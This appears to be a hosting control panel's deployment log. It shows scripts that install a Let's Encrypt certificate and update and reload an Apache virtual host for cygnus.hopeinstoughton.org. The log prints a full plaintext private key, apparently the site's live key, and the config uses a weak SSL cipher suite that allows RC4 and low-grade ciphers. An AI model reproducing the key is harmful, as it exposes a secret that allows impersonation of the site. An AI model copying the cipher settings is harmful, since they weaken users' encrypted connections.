Z9F3FOJO9TANBgkqhkiG9w0BAQsFAAOCAQEACsgfzbluQP7gxPHXXEmINO8DBwwz
YjFadci+yTVUmYaHTKytVJ/Ik7CO8zrNKWkaQy59utJ7/itBk3QAvzMbxWePAdwl
xqkg8D0VKWm+y8tM7AH6B4JSc6b3t+byNr7Lp4HV8OaWzm/MGbsiq4k0FFvVfdeF
OuhD0KE6mJR9grFj+7de0BttHWwJ2y48vdSlKlOQvag3Mex9mD4qB6SCj/AJ9JAz
olBGL4xxPyq6SuYK6EBRToe22tWiVER3jjOzzy44iH8ChXi6XcPtRhYNYen+3WRJ
cd10hQ7SW7dSe82lD7y45rwuIQAyKdWfTNlmFnBAOpCc4hpz8lSYaoloXQ==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEuwIBADANBgkqhkiG9w0BAQEFAASCBKUwggShAgEAAoIBAQDnl5AauwRgNAZe
ynDKgnGML8uiRx3faAz0dTKSmJ/F+odMJMk7JMRh41TQUyGhMeADBKyq1uX0GyKZ
IAPCvS4Tsii9CsGCfNDB1AqG+bn1IDlKC2xq0hAM3GuceApyY3A1+dxil5Wc2Abz
vb44ZdS4tWGzr00/3JzZlHN9wrJgH5j0zTxj+FuRpoYAZ+fHZpKgY+jOjcgXItFt
x8a/Q0DMqPZFkUaDQPca82790C/oqK4BNeNSeGnR5zyo+RzkVAwfjFI8fQ+HNwK+
QHeFIWjAEJZ8aVfR1ZeaojAFo5ib6w/e+t1te7SZKnwZOlIuZK/+CPE7M7yB3nQH
XNbN2G4LAgMBAAECgf9uXcxO8NElB6YBhng6CfAS3rQsobeav/tshG2Vbya1Mq9H
mkBL7zmnbK7+mJ9uMlaPGasvvznXGxdh4d/o7j8HI+BGNtoBVXom5OYfbOMx7ilf
IBKK1ZDQkDq4VnykBr9y+aANXC/wjwLBJauBNQYrAEWPW/t0c65MAnMHe8GGDKC9
yKxJLeu8hcEHnbB7EgUY5OkQUtEqz69BkcdPToawTIbwGiw+4sNzWyeeNCkaukyT
XYTEc6X1uTmeC6shtP2fYyXHBvFYOP1dmfdv1qrhS83htqxC+xcZnieswGApzM87
NLDqh3rwz/n4I032VRQsjUchIGlIY5PharI8j/ECgYEA9yWazDuy1pQI+KInPak1
gN28G396KnlIFAzmFryCcIr0XW72ZyqnVGuDkVJrggp8/DIbdIxao9AQWuYA1EuT
Q3H0UxApMcYMhWmWvPwFF7tOANTH/ivsFUi1VNE3X5DarRYL1JwItY7XWQbqcjFc
ny23Hsiadkoy7k4+XL1bB5UCgYEA7+NRC0ontW3/JWPFc1uMWMC8xQDySsA1R7qT
+bTvUl1Z6i1qYLbnQXRumHpg8neV3TzsEirmWAdasMiycBf3FaA12yfDqp0ll2AD
QtlB3jMAGXp6anyr6xF9G6PVCPW2NqdT6y9pxWYJ3kihIu0BrzoDPAjU/gOhUswE
FhILtx8CgYBFGBxI0L/UwZooeJzj3jR5DISUY3Ux/qoqANkqrhUBhbd/j5APk5so
PM6RiCtKNchvcUq/sKV+eqK35umAcIiBKJCX0ELUCXxip/xeZU6/LbxG+zXWV00v
Ph6D0eHbM9IO5cT08ZJ1v7NwzkApIKe2UL+LOaYFQAUxHmrM3pteaQKBgQDUf2Ld
Q1UljEjGEDlqVKBgRmtxf8MhoF4SKh7GxhZxuavam1xuS9dSzhbiDxYt8uzYTA06
krH1LJ6Tl1UporEHgSHz/qd/TTFthGmfH+EPOdJOv4YNKl8IHjfa8ifWhgJhK5xU
620gpaD8PQ4waA5j8FnJJnG2ifSv6XV9L4MdNQKBgEo+43y0o1pRmTLn5U1IZBG8
GJB2WIV1mCB4HCKZNO9Df1SZVgjNUKnRIsuFPH6pOehN8fsLkhDJzSpZczUBD9Ok
iqbii4S7+GSRiw/+OxFjviN1Ri/5Ubky/YsFvT7TVLvkSS2CphWmoHIB1escKA+o
Z+jt6V4iTTYqwhFGc/v0
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-03-10 06:01:15: 

chmod 755 /tmp/pkp284844; /tmp/pkp284844; rm /tmp/pkp284844

2026-03-10 06:01:15: 


dir=/etc/ssl/certs


2026-03-10 06:01:15: 

PUT: /tmp/pkp841012

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-available/hopeinstoughton_cygnus_org.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-03-10 06:01:16: 

chmod 755 /tmp/pkp841012; /tmp/pkp841012; rm /tmp/pkp841012

2026-03-10 06:01:16: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/hopeinstoughton_cygnus_org.conf 2965
<VirtualHost *:80>
    ServerName	cygnus.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/cygnus/public
    <Directory /var/www/cygnus/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/cygnus_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/cygnus_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    DirectoryIndex	index.html index.htm index.php
    #    RewriteEngine       On
#    RewriteCond %{REQUEST_METHOD} !POST
#    RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
    ProxyRequests	Off
    ProxyPreserveHost	On
    RewriteEngine	On
    
    RewriteCond	%{HTTP:Connection} Upgrade [NC]
    RewriteCond	%{HTTP:Upgrade} websocket [NC]
    RewriteRule	/(.*) ws://127.0.0.1:8080/$1  [P,L]
    ProxyPassReverse	/ http://127.0.0.1:8080/
    
    RewriteCond	%{HTTP:Connection} Upgrade [NC]
    RewriteCond	%{HTTP:Upgrade} websocket [NC]
    RewriteRule	/webrtc/(.*) ws://127.0.0.1:8000/$1  [P,L]
    ProxyPass	/webrtc/ http://127.0.0.1:8000/
    ProxyPassReverse	/webrtc/ http://127.0.0.1:8000/
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	cygnus.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/de5c0e727038623f544d9b5f10eaf734
    DocumentRoot	/var/www/cygnus/public
    <Directory /var/www/cygnus/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    ProxyRequests	Off
    ProxyPreserveHost	On
    RewriteEngine	On
    
    RewriteCond	%{HTTP:Connection} Upgrade [NC]
    RewriteCond	%{HTTP:Upgrade} websocket [NC]
    RewriteRule	/(.*) ws://127.0.0.1:8080/$1  [P,L]
    ProxyPassReverse	/ http://127.0.0.1:8080/
    
    RewriteCond	%{HTTP:Connection} Upgrade [NC]
    RewriteCond	%{HTTP:Upgrade} websocket [NC]
    RewriteRule	/webrtc/(.*) ws://127.0.0.1:8000/$1  [P,L]
    ProxyPass	/webrtc/ http://127.0.0.1:8000/
    ProxyPassReverse	/webrtc/ http://127.0.0.1:8000/
    
    RewriteCond	%{HTTP:Connection} Upgrade [NC]
    RewriteCond	%{HTTP:Upgrade} websocket [NC]
    RewriteRule	/qwerty/(.*) ws://192.168.1.19/$1  [P,L]
    
    #<Location /qwerty/>
#    ProxyHTMLEnable On
#    ProxyHTMLExtended On
#   ProxyPassReverse /
#   SetOutputFilter  proxy-html
#   ProxyHTMLURLMap / ./
#</Location>
#    ProxyPass  /qwerty/ http://192.168.1.19/
#    ProxyPassReverse /qwerty/ http://192.168.1.19/
    
    CustomLog	/var/log/apache2/hopeinstoughton/cygnus_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/cygnus_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.php
</VirtualHost>






2026-03-10 06:01:16: 

PUT: /tmp/pkp802830

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=hopeinstoughton_cygnus_org.conf
TARGET=/etc/apache2/sites-available/hopeinstoughton_cygnus_org.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
    ServerName	cygnus.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/cygnus/public
    <Directory /var/www/cygnus/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/cygnus_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/cygnus_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    DirectoryIndex	index.html index.htm index.php
    #    RewriteEngine       On
#    RewriteCond %{REQUEST_METHOD} !POST
#    RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
    ProxyRequests	Off
    ProxyPreserveHost	On
    RewriteEngine	On
    
    RewriteCond	%{HTTP:Connection} Upgrade [NC]
    RewriteCond	%{HTTP:Upgrade} websocket [NC]
    RewriteRule	/(.*) ws://127.0.0.1:8080/$1  [P,L]
    ProxyPassReverse	/ http://127.0.0.1:8080/
    
    RewriteCond	%{HTTP:Connection} Upgrade [NC]
    RewriteCond	%{HTTP:Upgrade} websocket [NC]
    RewriteRule	/webrtc/(.*) ws://127.0.0.1:8000/$1  [P,L]
    ProxyPass	/webrtc/ http://127.0.0.1:8000/
    ProxyPassReverse	/webrtc/ http://127.0.0.1:8000/
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	cygnus.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/de5c0e727038623f544d9b5f10eaf734
    DocumentRoot	/var/www/cygnus/public
    <Directory /var/www/cygnus/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    ProxyRequests	Off
    ProxyPreserveHost	On
    RewriteEngine	On
    
    RewriteCond	%{HTTP:Connection} Upgrade [NC]
    RewriteCond	%{HTTP:Upgrade} websocket [NC]
    RewriteRule	/(.*) ws://127.0.0.1:8080/$1  [P,L]
    ProxyPassReverse	/ http://127.0.0.1:8080/
    
    RewriteCond	%{HTTP:Connection} Upgrade [NC]
    RewriteCond	%{HTTP:Upgrade} websocket [NC]
    RewriteRule	/webrtc/(.*) ws://127.0.0.1:8000/$1  [P,L]
    ProxyPass	/webrtc/ http://127.0.0.1:8000/
    ProxyPassReverse	/webrtc/ http://127.0.0.1:8000/
    
    RewriteCond	%{HTTP:Connection} Upgrade [NC]
    RewriteCond	%{HTTP:Upgrade} websocket [NC]
    RewriteRule	/qwerty/(.*) ws://192.168.1.19/$1  [P,L]
    
    #<Location /qwerty/>
#    ProxyHTMLEnable On
#    ProxyHTMLExtended On
#   ProxyPassReverse /
#   SetOutputFilter  proxy-html
#   ProxyHTMLURLMap / ./
#</Location>
#    ProxyPass  /qwerty/ http://192.168.1.19/
#    ProxyPassReverse /qwerty/ http://192.168.1.19/
    
    CustomLog	/var/log/apache2/hopeinstoughton/cygnus_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/cygnus_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.php
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-available/hopeinstoughton_cygnus_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf)= /etc/apache2//etc/apache2/sites-available/hopeinstoughton_cygnus_org.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-available/hopeinstoughton_cygnus_org.conf= 1'
fi


2026-03-10 06:01:16: 

chmod 755 /tmp/pkp802830; /tmp/pkp802830; rm /tmp/pkp802830

2026-03-10 06:01:16: 




2026-03-10 06:01:16: 

PUT: /tmp/pkp700279

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-03-10 06:01:17: 

chmod 755 /tmp/pkp700279; /tmp/pkp700279; rm /tmp/pkp700279

2026-03-10 06:01:17: 


.


2026-03-10 06:01:17: Establishing a connection
2026-03-10 06:01:18: 

PUT: /tmp/pkp711179

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-03-10 06:01:19: 

chmod 755 /tmp/pkp711179; /tmp/pkp711179; rm /tmp/pkp711179

2026-03-10 06:01:19: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:2)
         port 80 namevhost cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:2)
         port 80 namevhost cygnus.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf:1)
         port 80 namevhost hymns.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf:1)
         port 80 namevhost mixer.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf:1)
         port 80 namevhost stoughton.hostz.org (/etc/apache2/sites-enabled/hostz_stoughton_us.conf:3)
*:443                  is a NameVirtualHost
         default server cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:20)
         port 443 namevhost cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:20)
         port 443 namevhost cygnus.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf:37)
         port 443 namevhost hymns.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf:22)
         port 443 namevhost mixer.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf:22)
         port 443 namevhost stoughton.hostz.org (/etc/apache2/sites-enabled/hostz_stoughton_us.conf:28)
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.


2026-03-10 06:01:19: 

PUT: /tmp/pkp171459

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-available/hopeinstoughton_cygnus_org.conf')
    show_file('/etc/apache2/sites-available/hopeinstoughton_cygnus_org.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-03-10 06:01:20: 

chmod 755 /tmp/pkp171459; /tmp/pkp171459; rm /tmp/pkp171459

2026-03-10 06:01:20: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/hopeinstoughton_cygnus_org.conf	2965
<VirtualHost *:80>
    ServerName	cygnus.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/cygnus/public
    <Directory /var/www/cygnus/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/cygnus_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/cygnus_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    DirectoryIndex	index.html index.htm index.php
    #    RewriteEngine       On
#    RewriteCond %{REQUEST_METHOD} !POST
#    RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
    ProxyRequests	Off
    ProxyPreserveHost	On
    RewriteEngine	On
    
    RewriteCond	%{HTTP:Connection} Upgrade [NC]
    RewriteCond	%{HTTP:Upgrade} websocket [NC]
    RewriteRule	/(.*) ws://127.0.0.1:8080/$1  [P,L]
    ProxyPassReverse	/ http://127.0.0.1:8080/
    
    RewriteCond	%{HTTP:Connection} Upgrade [NC]
    RewriteCond	%{HTTP:Upgrade} websocket [NC]
    RewriteRule	/webrtc/(.*) ws://127.0.0.1:8000/$1  [P,L]
    ProxyPass	/webrtc/ http://127.0.0.1:8000/
    ProxyPassReverse	/webrtc/ http://127.0.0.1:8000/
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	cygnus.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/de5c0e727038623f544d9b5f10eaf734
    DocumentRoot	/var/www/cygnus/public
    <Directory /var/www/cygnus/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    ProxyRequests	Off
    ProxyPreserveHost	On
    RewriteEngine	On
    
    RewriteCond	%{HTTP:Connection} Upgrade [NC]
    RewriteCond	%{HTTP:Upgrade} websocket [NC]
    RewriteRule	/(.*) ws://127.0.0.1:8080/$1  [P,L]
    ProxyPassReverse	/ http://127.0.0.1:8080/
    
    RewriteCond	%{HTTP:Connection} Upgrade [NC]
    RewriteCond	%{HTTP:Upgrade} websocket [NC]
    RewriteRule	/webrtc/(.*) ws://127.0.0.1:8000/$1  [P,L]
    ProxyPass	/webrtc/ http://127.0.0.1:8000/
    ProxyPassReverse	/webrtc/ http://127.0.0.1:8000/
    
    RewriteCond	%{HTTP:Connection} Upgrade [NC]
    RewriteCond	%{HTTP:Upgrade} websocket [NC]
    RewriteRule	/qwerty/(.*) ws://192.168.1.19/$1  [P,L]
    
    #<Location /qwerty/>
#    ProxyHTMLEnable On
#    ProxyHTMLExtended On
#   ProxyPassReverse /
#   SetOutputFilter  proxy-html
#   ProxyHTMLURLMap / ./
#</Location>
#    ProxyPass  /qwerty/ http://192.168.1.19/
#    ProxyPassReverse /qwerty/ http://192.168.1.19/
    
    CustomLog	/var/log/apache2/hopeinstoughton/cygnus_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/cygnus_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.php
</VirtualHost>





----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/hopeinstoughton_cygnus_org.conf	2965
<VirtualHost *:80>
    ServerName	cygnus.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/cygnus/public
    <Directory /var/www/cygnus/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/cygnus_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/cygnus_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    DirectoryIndex	index.html index.htm index.php
    #    RewriteEngine       On
#    RewriteCond %{REQUEST_METHOD} !POST
#    RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
    ProxyRequests	Off
    ProxyPreserveHost	On
    RewriteEngine	On
    
    RewriteCond	%{HTTP:Connection} Upgrade [NC]
    RewriteCond	%{HTTP:Upgrade} websocket [NC]
    RewriteRule	/(.*) ws://127.0.0.1:8080/$1  [P,L]
    ProxyPassReverse	/ http://127.0.0.1:8080/
    
    RewriteCond	%{HTTP:Connection} Upgrade [NC]
    RewriteCond	%{HTTP:Upgrade} websocket [NC]
    RewriteRule	/webrtc/(.*) ws://127.0.0.1:8000/$1  [P,L]
    ProxyPass	/webrtc/ http://127.0.0.1:8000/
    ProxyPassReverse	/webrtc/ http://127.0.0.1:8000/
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	cygnus.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/de5c0e727038623f544d9b5f10eaf734
    DocumentRoot	/var/www/cygnus/public
    <Directory /var/www/cygnus/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    ProxyRequests	Off
    ProxyPreserveHost	On
    RewriteEngine	On
    
    RewriteCond	%{HTTP:Connection} Upgrade [NC]
    RewriteCond	%{HTTP:Upgrade} websocket [NC]
    RewriteRule	/(.*) ws://127.0.0.1:8080/$1  [P,L]
    ProxyPassReverse	/ http://127.0.0.1:8080/
    
    RewriteCond	%{HTTP:Connection} Upgrade [NC]
    RewriteCond	%{HTTP:Upgrade} websocket [NC]
    RewriteRule	/webrtc/(.*) ws://127.0.0.1:8000/$1  [P,L]
    ProxyPass	/webrtc/ http://127.0.0.1:8000/
    ProxyPassReverse	/webrtc/ http://127.0.0.1:8000/
    
    RewriteCond	%{HTTP:Connection} Upgrade [NC]
    RewriteCond	%{HTTP:Upgrade} websocket [NC]
    RewriteRule	/qwerty/(.*) ws://192.168.1.19/$1  [P,L]
    
    #<Location /qwerty/>
#    ProxyHTMLEnable On
#    ProxyHTMLExtended On
#   ProxyPassReverse /
#   SetOutputFilter  proxy-html
#   ProxyHTMLURLMap / ./
#</Location>
#    ProxyPass  /qwerty/ http://192.168.1.19/
#    ProxyPassReverse /qwerty/ http://192.168.1.19/
    
    CustomLog	/var/log/apache2/hopeinstoughton/cygnus_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/cygnus_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.php
</VirtualHost>







2026-03-10 06:01:20: 

PUT: /tmp/pkp801158

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/de5c0e727038623f544d9b5f10eaf734')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-03-10 06:01:20: 

chmod 755 /tmp/pkp801158; /tmp/pkp801158; rm /tmp/pkp801158

2026-03-10 06:01:21: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/de5c0e727038623f544d9b5f10eaf734	5364
87:ce:c1:e9:5a:3a:86:7a:f6:41:75:47:e7:d8:cf:16

-----BEGIN CERTIFICATE-----
MIIFBzCCA++gAwIBAgISBvziWxZsWylZRnhlQXToeBBkMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMzEwMDUwMjQyWhcNMjYwNjA4MDUwMjQxWjAlMSMwIQYDVQQD
ExpjeWdudXMuaG9wZWluc3RvdWdodG9uLm9yZzCCASIwDQYJKoZIhvcNAQEBBQAD
ggEPADCCAQoCggEBAOeXkBq7BGA0Bl7KcMqCcYwvy6JHHd9oDPR1MpKYn8X6h0wk
yTskxGHjVNBTIaEx4AMErKrW5fQbIpkgA8K9LhOyKL0KwYJ80MHUCob5ufUgOUoL
